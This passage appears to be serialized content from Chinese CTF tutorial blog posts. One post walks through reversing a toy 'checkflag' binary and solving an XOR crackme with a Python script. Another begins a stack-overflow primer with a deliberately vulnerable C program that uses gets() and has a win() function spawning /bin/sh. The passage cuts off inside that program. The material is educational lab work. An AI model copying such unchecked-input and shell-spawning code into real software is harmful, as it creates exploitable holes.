表示符号表还在，函数名（main、check）可见；如果是 ",[26,1300,1301],{},"stripped","，函数名被删，难度更高。",[15,1304,1305,1307],{},[216,1306,218],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[235,1309,1311],{"id":1310},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1313,1270],{},[19,1315,1317],{"className":113,"code":1316,"language":115,"meta":24,"style":24},"strings checkflag\n",[26,1318,1319],{"__ignoreMap":24},[29,1320,1321,1324],{"class":31,"line":32},[29,1322,1323],{"class":122},"strings",[29,1325,1283],{"class":126},[15,1327,261],{},[19,1329,1332],{"className":1330,"code":1331,"language":477,"meta":24},[475],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[26,1333,1331],{"__ignoreMap":24},[15,1335,1336,1337,1339,1340,1343],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[26,1338,1323],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[26,1341,1342],{},"-n"," 指定：",[19,1345,1347],{"className":113,"code":1346,"language":115,"meta":24,"style":24},"strings -n 3 checkflag\n",[26,1348,1349],{"__ignoreMap":24},[29,1350,1351,1353,1356,1359],{"class":31,"line":32},[29,1352,1323],{"class":122},[29,1354,1355],{"class":815}," -n",[29,1357,1358],{"class":815}," 3",[29,1360,1283],{"class":126},[15,1362,1363],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1365,1366,1368],{},[216,1367,218],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1370,1371,1373,1374,435,1377,435,1380,1383,1384,1387,1388,1391],{},[216,1372,224],{},"：输出里的 ",[26,1375,1376],{},"Usage: ./checkflag \u003Cflag>",[26,1378,1379],{},"Correct!",[26,1381,1382],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[26,1385,1386],{},"k3y","），先用 ",[26,1389,1390],{},"-n 3"," 确认——可能正是加密密钥。",[235,1393,1395],{"id":1394},"_33-运行程序观察行为","3.3 运行程序观察行为",[19,1397,1399],{"className":113,"code":1398,"language":115,"meta":24,"style":24},"./checkflag test\n",[26,1400,1401],{"__ignoreMap":24},[29,1402,1403,1406],{"class":31,"line":32},[29,1404,1405],{"class":122},"./checkflag",[29,1407,1200],{"class":126},[15,1409,1410,1411,458],{},"输出：",[26,1412,1382],{},[19,1414,1416],{"className":113,"code":1415,"language":115,"meta":24,"style":24},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,1417,1418],{"__ignoreMap":24},[29,1419,1420,1422],{"class":31,"line":32},[29,1421,1405],{"class":122},[29,1423,1424],{"class":126}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1426,1410,1427,1429],{},[26,1428,1382],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1431,1432,1434],{},[216,1433,218],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1436,1438],{"id":1437},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1440,1441,1443],{},[216,1442,218],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1445,1446,1448,1449,1452,1453,1456,1457,1460],{},[216,1447,224],{},"：程序要么比较字符串（",[26,1450,1451],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[26,1454,1455],{},"call","（函数调用）和 ",[26,1458,1459],{},"je/jne","（条件跳转）就能定位判断点。",[235,1462,1464],{"id":1463},"_41-objdump-看-main","4.1 objdump 看 main",[15,1466,1270],{},[19,1468,1470],{"className":113,"code":1469,"language":115,"meta":24,"style":24},"objdump -d -M intel checkflag\n",[26,1471,1472],{"__ignoreMap":24},[29,1473,1474,1477,1480,1483,1486],{"class":31,"line":32},[29,1475,1476],{"class":122},"objdump",[29,1478,1479],{"class":815}," -d",[29,1481,1482],{"class":815}," -M",[29,1484,1485],{"class":126}," intel",[29,1487,1283],{"class":126},[15,1489,1490],{},"输出很长，用 grep 只看 main：",[19,1492,1494],{"className":113,"code":1493,"language":115,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[26,1495,1496],{"__ignoreMap":24},[29,1497,1498,1500,1502,1504,1506,1509,1512,1515,1518,1521,1524,1527],{"class":31,"line":32},[29,1499,1476],{"class":122},[29,1501,1479],{"class":815},[29,1503,1482],{"class":815},[29,1505,1485],{"class":126},[29,1507,1508],{"class":126}," checkflag",[29,1510,1511],{"class":277}," |",[29,1513,1514],{"class":122}," grep",[29,1516,1517],{"class":815}," -A",[29,1519,1520],{"class":815}," 40",[29,1522,1523],{"class":251}," '",[29,1525,1526],{"class":126},"\u003Cmain>",[29,1528,1529],{"class":251},"'\n",[15,1531,1532],{},"预期输出（节选）：",[19,1534,1538],{"className":1535,"code":1536,"language":1537,"meta":24,"style":24},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[26,1539,1540,1545,1550,1555,1560,1565,1570,1575,1580,1585],{"__ignoreMap":24},[29,1541,1542],{"class":31,"line":32},[29,1543,1544],{},"0000000000001189 \u003Cmain>:\n",[29,1546,1547],{"class":31,"line":38},[29,1548,1549],{},"    1189:  push   rbp\n",[29,1551,1552],{"class":31,"line":45},[29,1553,1554],{},"    118a:  mov    rbp, rsp\n",[29,1556,1557],{"class":31,"line":51},[29,1558,1559],{},"    1191:  cmp    edi, 0x2\n",[29,1561,1562],{"class":31,"line":56},[29,1563,1564],{},"    1194:  jne    0x11a0\n",[29,1566,1567],{"class":31,"line":62},[29,1568,1569],{},"    119e:  call   0x1149 \u003Ccheck>\n",[29,1571,1572],{"class":31,"line":68},[29,1573,1574],{},"    11a3:  test   eax, eax\n",[29,1576,1577],{"class":31,"line":74},[29,1578,1579],{},"    11a5:  je     0x11b5\n",[29,1581,1582],{"class":31,"line":179},[29,1583,1584],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[29,1586,1587],{"class":31,"line":185},[29,1588,1589],{},"    11ae:  call   puts@plt\n",[15,1591,1592],{},"逐行解释：",[342,1594,1595,1605],{},[345,1596,1597],{},[348,1598,1599,1602],{},[351,1600,1601],{},"指令",[351,1603,1604],{},"含义",[361,1606,1607,1617,1627,1637],{},[348,1608,1609,1614],{},[366,1610,1611],{},[26,1612,1613],{},"cmp edi, 0x2",[366,1615,1616],{},"比较参数个数 argc 是否为 2",[348,1618,1619,1624],{},[366,1620,1621],{},[26,1622,1623],{},"call check",[366,1625,1626],{},"调用校验函数 check",[348,1628,1629,1634],{},[366,1630,1631],{},[26,1632,1633],{},"test eax, eax",[366,1635,1636],{},"检查返回值是否为 0",[348,1638,1639,1644],{},[366,1640,1641],{},[26,1642,1643],{},"je 0x11b5",[366,1645,1646],{},"为 0 则跳到打印 Wrong 的地方",[15,1648,1649,1650,1653],{},"结论：逻辑在 ",[26,1651,1652],{},"check"," 函数里。",[15,1655,1656,137,1659,1661,1662,1664,1665,1668,1669,1671,1672,458],{},[216,1657,1658],{},"怎么想到看 check",[26,1660,1623],{}," 之后紧跟 ",[26,1663,1633],{}," 和 ",[26,1666,1667],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[26,1670,1652],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[26,1673,1652],{},[235,1675,1677],{"id":1676},"_42-看-check","4.2 看 check",[19,1679,1681],{"className":113,"code":1680,"language":115,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[26,1682,1683],{"__ignoreMap":24},[29,1684,1685,1687,1689,1691,1693,1695,1697,1699,1701,1704,1706,1709],{"class":31,"line":32},[29,1686,1476],{"class":122},[29,1688,1479],{"class":815},[29,1690,1482],{"class":815},[29,1692,1485],{"class":126},[29,1694,1508],{"class":126},[29,1696,1511],{"class":277},[29,1698,1514],{"class":122},[29,1700,1517],{"class":815},[29,1702,1703],{"class":815}," 50",[29,1705,1523],{"class":251},[29,1707,1708],{"class":126},"\u003Ccheck>",[29,1710,1529],{"class":251},[15,1712,1713],{},"如果看到：",[19,1715,1717],{"className":1535,"code":1716,"language":1537,"meta":24,"style":24},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[26,1718,1719,1724,1729],{"__ignoreMap":24},[29,1720,1721],{"class":31,"line":32},[29,1722,1723],{},"call   strcmp@plt\n",[29,1725,1726],{"class":31,"line":38},[29,1727,1728],{},"test   eax, eax\n",[29,1730,1731],{"class":31,"line":45},[29,1732,1733],{},"je     ...\n",[15,1735,1736,1737,1740],{},"说明是字符串比较，flag 就藏在 ",[26,1738,1739],{},".rodata"," 里。",[15,1742,1743,137,1746,1749,1750,1753,1754,1756],{},[216,1744,1745],{},"验证方式",[26,1747,1748],{},"call strcmp@plt"," 前面通常有一条 ",[26,1751,1752],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[26,1755,1739],{}," 里找内容即可。",[235,1758,1760],{"id":1759},"_43-看只读数据段","4.3 看只读数据段",[19,1762,1764],{"className":113,"code":1763,"language":115,"meta":24,"style":24},"objdump -s -j .rodata checkflag\n",[26,1765,1766],{"__ignoreMap":24},[29,1767,1768,1770,1773,1776,1779],{"class":31,"line":32},[29,1769,1476],{"class":122},[29,1771,1772],{"class":815}," -s",[29,1774,1775],{"class":815}," -j",[29,1777,1778],{"class":126}," .rodata",[29,1780,1283],{"class":126},[15,1782,261],{},[19,1784,1787],{"className":1785,"code":1786,"language":477,"meta":24},[475],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[26,1788,1786],{"__ignoreMap":24},[15,1790,1791,1792,1795,1796,458],{},"ASCII 十六进制 ",[26,1793,1794],{},"63 6f 6e 67..."," 解出来就是 ",[26,1797,1798],{},"congratulations",[15,1800,1801,1804,1805,1807,1808,1811],{},[216,1802,1803],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[26,1806,1739],{},"，",[26,1809,1810],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[235,1813,1815],{"id":1814},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1817,1818],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[19,1820,1822],{"className":113,"code":1821,"language":115,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[26,1823,1824,1836,1851,1863],{"__ignoreMap":24},[29,1825,1826,1828,1830,1833],{"class":31,"line":32},[29,1827,1225],{"class":122},[29,1829,127],{"class":126},[29,1831,1832],{"class":126}," openjdk-21-jdk",[29,1834,1835],{"class":126}," unzip\n",[29,1837,1838,1841,1844,1848],{"class":31,"line":38},[29,1839,1840],{"class":122},"wget",[29,1842,1843],{"class":126}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[29,1845,1847],{"class":1846},"sqerP","*",[29,1849,1850],{"class":126},".zip\n",[29,1852,1853,1856,1859,1861],{"class":31,"line":45},[29,1854,1855],{"class":122},"unzip",[29,1857,1858],{"class":126}," ghidra_",[29,1860,1847],{"class":1846},[29,1862,1850],{"class":126},[29,1864,1865,1867,1869,1871,1874,1876],{"class":31,"line":51},[29,1866,918],{"class":917},[29,1868,1858],{"class":126},[29,1870,1847],{"class":1846},[29,1872,1873],{"class":126},"_PUBLIC",[29,1875,924],{"class":273},[29,1877,1878],{"class":122},"./ghidraRun\n",[15,1880,1881],{},"操作步骤：",[1883,1884,1885,1889,1895,1898],"ol",{},[1886,1887,1888],"li",{},"File → New Project → 命名。",[1886,1890,1891,1892,1894],{},"把 ",[26,1893,1248],{}," 拖进项目，双击导入。",[1886,1896,1897],{},"等待自动分析完成。",[1886,1899,1900,1901,1904],{},"左侧 Symbol Tree 双击 ",[26,1902,1903],{},"main","，右侧 Decompiler 显示伪代码。",[15,1906,1907],{},"预期伪代码：",[19,1909,1913],{"className":1910,"code":1911,"language":1912,"meta":24,"style":24},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[26,1914,1915,1920,1925,1930],{"__ignoreMap":24},[29,1916,1917],{"class":31,"line":32},[29,1918,1919],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[29,1921,1922],{"class":31,"line":38},[29,1923,1924],{},"    puts(\"Correct!\");\n",[29,1926,1927],{"class":31,"line":45},[29,1928,1929],{},"else\n",[29,1931,1932],{"class":31,"line":51},[29,1933,1934],{},"    puts(\"Wrong!\");\n",[15,1936,1937],{},"flag 直接可见。",[10,1939,1941],{"id":1940},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1943,1944],{},"静态分析看不懂时，让程序跑起来。",[15,1946,1947,1949],{},[216,1948,218],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1951,1952,1954,1955,1958],{},[216,1953,224],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[26,1956,1957],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[19,1960,1962],{"className":113,"code":1961,"language":115,"meta":24,"style":24},"gdb ./checkflag\n",[26,1963,1964],{"__ignoreMap":24},[29,1965,1966,1969],{"class":31,"line":32},[29,1967,1968],{"class":122},"gdb",[29,1970,1172],{"class":126},[15,1972,1973],{},"进入 GDB 交互后：",[235,1975,1977],{"id":1976},"_51-下断点","5.1 下断点",[19,1979,1982],{"className":1980,"code":1981,"language":1968,"meta":24,"style":24},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[26,1983,1984],{"__ignoreMap":24},[29,1985,1986],{"class":31,"line":32},[29,1987,1981],{},[15,1989,261],{},[19,1991,1994],{"className":1992,"code":1993,"language":477,"meta":24},[475],"Breakpoint 1 at 0x1149\n",[26,1995,1993],{"__ignoreMap":24},[235,1997,1999],{"id":1998},"_52-带参数运行","5.2 带参数运行",[19,2001,2003],{"className":1980,"code":2002,"language":1968,"meta":24,"style":24},"(gdb) run test\n",[26,2004,2005],{"__ignoreMap":24},[29,2006,2007],{"class":31,"line":32},[29,2008,2002],{},[15,2010,261],{},[19,2012,2015],{"className":2013,"code":2014,"language":477,"meta":24},[475],"Breakpoint 1, 0x0000555555555149 in check ()\n",[26,2016,2014],{"__ignoreMap":24},[15,2018,2019],{},"程序停在 check 入口。",[235,2021,2023],{"id":2022},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[19,2025,2027],{"className":1980,"code":2026,"language":1968,"meta":24,"style":24},"(gdb) x/20i $rip\n",[26,2028,2029],{"__ignoreMap":24},[29,2030,2031],{"class":31,"line":32},[29,2032,2026],{},[15,2034,2035],{},"输出 check 函数开头的 20 条汇编。",[235,2037,2039],{"id":2038},"_54-单步并观察比较","5.4 单步并观察比较",[19,2041,2043],{"className":1980,"code":2042,"language":1968,"meta":24,"style":24},"(gdb) stepi\n",[26,2044,2045],{"__ignoreMap":24},[29,2046,2047],{"class":31,"line":32},[29,2048,2042],{},[15,2050,2051,2052,2054],{},"反复执行直到看到 ",[26,2053,1748],{},"。然后：",[19,2056,2058],{"className":1980,"code":2057,"language":1968,"meta":24,"style":24},"(gdb) x/s $rsi\n",[26,2059,2060],{"__ignoreMap":24},[29,2061,2062],{"class":31,"line":32},[29,2063,2057],{},[15,2065,2066],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2068,2069,137,2072,2075,2076,2079,2080,2083,2084,2075,2087,2090],{},[216,2070,2071],{},"补充说明",[26,2073,2074],{},"x/s"," 的 ",[26,2077,2078],{},"s"," 表示按字符串显示；",[26,2081,2082],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[26,2085,2086],{},"strcmp(a, b)",[26,2088,2089],{},"b"," 就存在这里。",[15,2092,2093,2094,2097],{},"补充：如果嫌 GDB 麻烦，",[26,2095,2096],{},"ltrace"," 直接跟踪库调用：",[19,2099,2101],{"className":113,"code":2100,"language":115,"meta":24,"style":24},"ltrace ./checkflag test\n",[26,2102,2103],{"__ignoreMap":24},[29,2104,2105,2107,2109],{"class":31,"line":32},[29,2106,2096],{"class":122},[29,2108,1180],{"class":126},[29,2110,1200],{"class":126},[15,2112,2113],{},"预期输出中会出现：",[19,2115,2118],{"className":2116,"code":2117,"language":477,"meta":24},[475],"strcmp(\"test\", \"congratulations\") = 1\n",[26,2119,2117],{"__ignoreMap":24},[15,2121,2122],{},"flag 一目了然。",[15,2124,2125,2128],{},[216,2126,2127],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2130,783],{"id":782},[342,2132,2133,2146],{},[345,2134,2135],{},[348,2136,2137,2140,2143],{},[351,2138,2139],{},"工具",[351,2141,2142],{},"核心功能",[351,2144,2145],{},"命令示例",[361,2147,2148,2160,2178,2193],{},[348,2149,2150,2152,2155],{},[366,2151,1280],{},[366,2153,2154],{},"看类型、位数、是否 stripped",[366,2156,2157],{},[26,2158,2159],{},"file checkflag",[348,2161,2162,2164,2167],{},[366,2163,1323],{},[366,2165,2166],{},"提取字符串、指定最小长度、管道过滤",[366,2168,2169,435,2172,435,2175],{},[26,2170,2171],{},"strings checkflag",[26,2173,2174],{},"strings -n 3 a",[26,2176,2177],{},"strings a | grep flag",[348,2179,2180,2182,2185],{},[366,2181,1476],{},[366,2183,2184],{},"反汇编、看数据段、Intel 语法",[366,2186,2187,435,2190],{},[26,2188,2189],{},"objdump -d -M intel a",[26,2191,2192],{},"objdump -s -j .rodata a",[348,2194,2195,2198,2201],{},[366,2196,2197],{},"GDB",[366,2199,2200],{},"断点、运行、看内存/寄存器",[366,2202,2203,435,2206,435,2209],{},[26,2204,2205],{},"break check",[26,2207,2208],{},"run",[26,2210,2211],{},"x/20i $rip",[15,2213,2214,2215,1110,2217,2220],{},"另：Ghidra 负责把汇编还原成伪代码；",[26,2216,2096],{},[26,2218,2219],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2222,2224],{"id":2223},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2226,978,2227,2230],{},[26,2228,2229],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[235,2232,2234],{"id":2233},"第一步侦查","第一步：侦查",[15,2236,2237,2239],{},[216,2238,218],{},"：先找密钥与提示。",[15,2241,2242,137,2244,2246,2247,2249,2250,2252],{},[216,2243,224],{},[26,2245,1323],{}," 默认漏掉短串，所以用 ",[26,2248,1390],{},"；看到 ",[26,2251,1386],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[19,2254,2256],{"className":113,"code":2255,"language":115,"meta":24,"style":24},"strings -n 3 crackme\n",[26,2257,2258],{"__ignoreMap":24},[29,2259,2260,2262,2264,2266],{"class":31,"line":32},[29,2261,1323],{"class":122},[29,2263,1355],{"class":815},[29,2265,1358],{"class":815},[29,2267,2268],{"class":126}," crackme\n",[15,2270,2271,2272,2274],{},"预期输出中有 ",[26,2273,1386],{},"——疑似密钥。",[235,2276,2278],{"id":2277},"第二步反编译-check","第二步：反编译 check",[15,2280,2281,2283],{},[216,2282,218],{},"：确认密钥如何使用、密文数组是什么。",[15,2285,2286,2288,2289,2292],{},[216,2287,1745],{},"：伪代码 ",[26,2290,2291],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2294,2295,2296,2298],{},"用 Ghidra 打开，",[26,2297,1652],{}," 伪代码：",[19,2300,2302],{"className":1910,"code":2301,"language":1912,"meta":24,"style":24},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[26,2303,2304],{"__ignoreMap":24},[29,2305,2306],{"class":31,"line":32},[29,2307,2301],{},[235,2309,2311],{"id":2310},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2313,2314,2316],{},[216,2315,218],{},"：把\"加密\"反过来算，得到明文。",[15,2318,2319,2321,2322,2325],{},[216,2320,224],{},"：异或的自反性 ",[26,2323,2324],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[19,2327,2329],{"className":21,"code":2328,"language":23,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[26,2330,2331,2336,2341,2346,2351,2356,2361,2366,2371,2376,2381,2386],{"__ignoreMap":24},[29,2332,2333],{"class":31,"line":32},[29,2334,2335],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,2337,2338],{"class":31,"line":38},[29,2339,2340],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,2342,2343],{"class":31,"line":45},[29,2344,2345],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[29,2347,2348],{"class":31,"line":51},[29,2349,2350],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[29,2352,2353],{"class":31,"line":56},[29,2354,2355],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[29,2357,2358],{"class":31,"line":62},[29,2359,2360],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[29,2362,2363],{"class":31,"line":68},[29,2364,2365],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[29,2367,2368],{"class":31,"line":74},[29,2369,2370],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[29,2372,2373],{"class":31,"line":179},[29,2374,2375],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[29,2377,2378],{"class":31,"line":185},[29,2379,2380],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[29,2382,2383],{"class":31,"line":190},[29,2384,2385],{},"print(flag.decode())\n",[29,2387,2388],{"class":31,"line":677},[29,2389,2390],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2392,1410],{},[19,2394,2397],{"className":2395,"code":2396,"language":477,"meta":24},[475],"ctf{reverse_engineering}\n",[26,2398,2396],{"__ignoreMap":24},[235,2400,2402],{"id":2401},"第四步验证","第四步：验证",[19,2404,2406],{"className":113,"code":2405,"language":115,"meta":24,"style":24},"./crackme ctf{reverse_engineering}\n",[26,2407,2408],{"__ignoreMap":24},[29,2409,2410,2413],{"class":31,"line":32},[29,2411,2412],{"class":122},"./crackme",[29,2414,2415],{"class":126}," ctf{reverse_engineering}\n",[15,2417,1410,2418,458],{},[26,2419,1379],{},[10,2421,1097],{"id":1096},[15,2423,2424,2425,1110,2427,2429,2430,2432],{},"逆向入门三步：",[26,2426,1280],{},[26,2428,1323],{}," 侦查 → ",[26,2431,1476],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1116,2434,2435],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":38,"depth":38,"links":2437},[2438,2439,2440,2441,2442,2443,2444,2445],{"id":1152,"depth":45,"text":1153},{"id":1211,"depth":45,"text":1212},{"id":1252,"depth":45,"text":1253},{"id":1437,"depth":45,"text":1438},{"id":1940,"depth":45,"text":1941},{"id":782,"depth":45,"text":783},{"id":2223,"depth":45,"text":2224},{"id":1096,"depth":45,"text":1097},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1132,"image":2448,"alt":2449,"tags":2450,"published":41},"/blogs-img/blog1.png","CTF 逆向入门",[1136,2451,1139],"reverse","/blogs/ctf-reverse-overview",{"title":1147,"description":2446},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2457,"title":2458,"body":2459,"description":3324,"extension":1130,"meta":3325,"navigation":41,"ogImage":3326,"path":3329,"seo":3330,"stem":3331,"__hash__":3332},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2460,"toc":3312},[2461,2465,2472,2478,2480,2482,2509,2513,2518,2617,2620,2655,2659,2664,2669,2671,2687,2689,2695,2698,2756,2760,2766,2772,2779,2848,2853,2857,2861,2899,2901,2907,2911,2919,2929,2938,2942,2987,2997,3001,3006,3011,3080,3083,3089,3100,3104,3179,3183,3191,3194,3207,3218,3223,3228,3285,3287,3293,3297,3309],[10,2462,2464],{"id":2463},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2466,2467,2468,2471],{},"C 语言函数 ",[26,2469,2470],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2473,2474,2475,458],{},"本文只讲一条主线：",[216,2476,2477],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2479,1212],{"id":1211},[15,2481,1215],{},[19,2483,2485],{"className":113,"code":2484,"language":115,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools\n",[26,2486,2487,2499],{"__ignoreMap":24},[29,2488,2489,2491,2493,2496],{"class":31,"line":32},[29,2490,1225],{"class":122},[29,2492,127],{"class":126},[29,2494,2495],{"class":126}," gcc",[29,2497,2498],{"class":126}," gdb\n",[29,2500,2501,2504,2506],{"class":31,"line":38},[29,2502,2503],{"class":122},"pip3",[29,2505,127],{"class":126},[29,2507,2508],{"class":126}," pwntools\n",[10,2510,2512],{"id":2511},"三漏洞程序与编译","三、漏洞程序与编译",[15,2514,133,2515,137],{},[26,2516,2517],{},"vuln.c",[19,2519,2521],{"className":1910,"code":2520,"language":1912,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[26,2522,2523,2528,2533,2537,2542,2547,2552,2556,2561,2566,2571,2575,2579,2584,2589,2594,2600,2606,2612],{"__ignoreMap":24},[29,2524,2525],{"class":31,"line":32},[29,2526,2527],{},"#include \u003Cstdio.h>\n",[29,2529,2530],{"class":31,"line":38},[29,2531,2532],{},"#include \u003Cstdlib.h>\n",[29,2534,2535],{"class":31,"line":45},[29,2536,42],{"emptyLinePlaceholder":41},[29,2538,2539],{"class":31,"line":51},[29,2540,2541],{},"void win() {\n",[29,2543,2544],{"class":31,"line":56},[29,2545,2546],{},"    system(\"/bin/sh\");\n",[29,2548,2549],{"class":31,"line":62},[29,2550,2551],{},"}\n",[29,2553,2554],{"class":31,"line":68},[29,2555,42],{"emptyLinePlaceholder":41},[29,2557,2558],{"class":31,"line":74},[29,2559,2560],{},"void vuln() {\n",[29,2562,2563],{"class":31,"line":179},[29,2564,2565],{},"    char buf[32];\n",[29,2567,2568],{"class":31,"line":185},[29,2569,2570],{},"    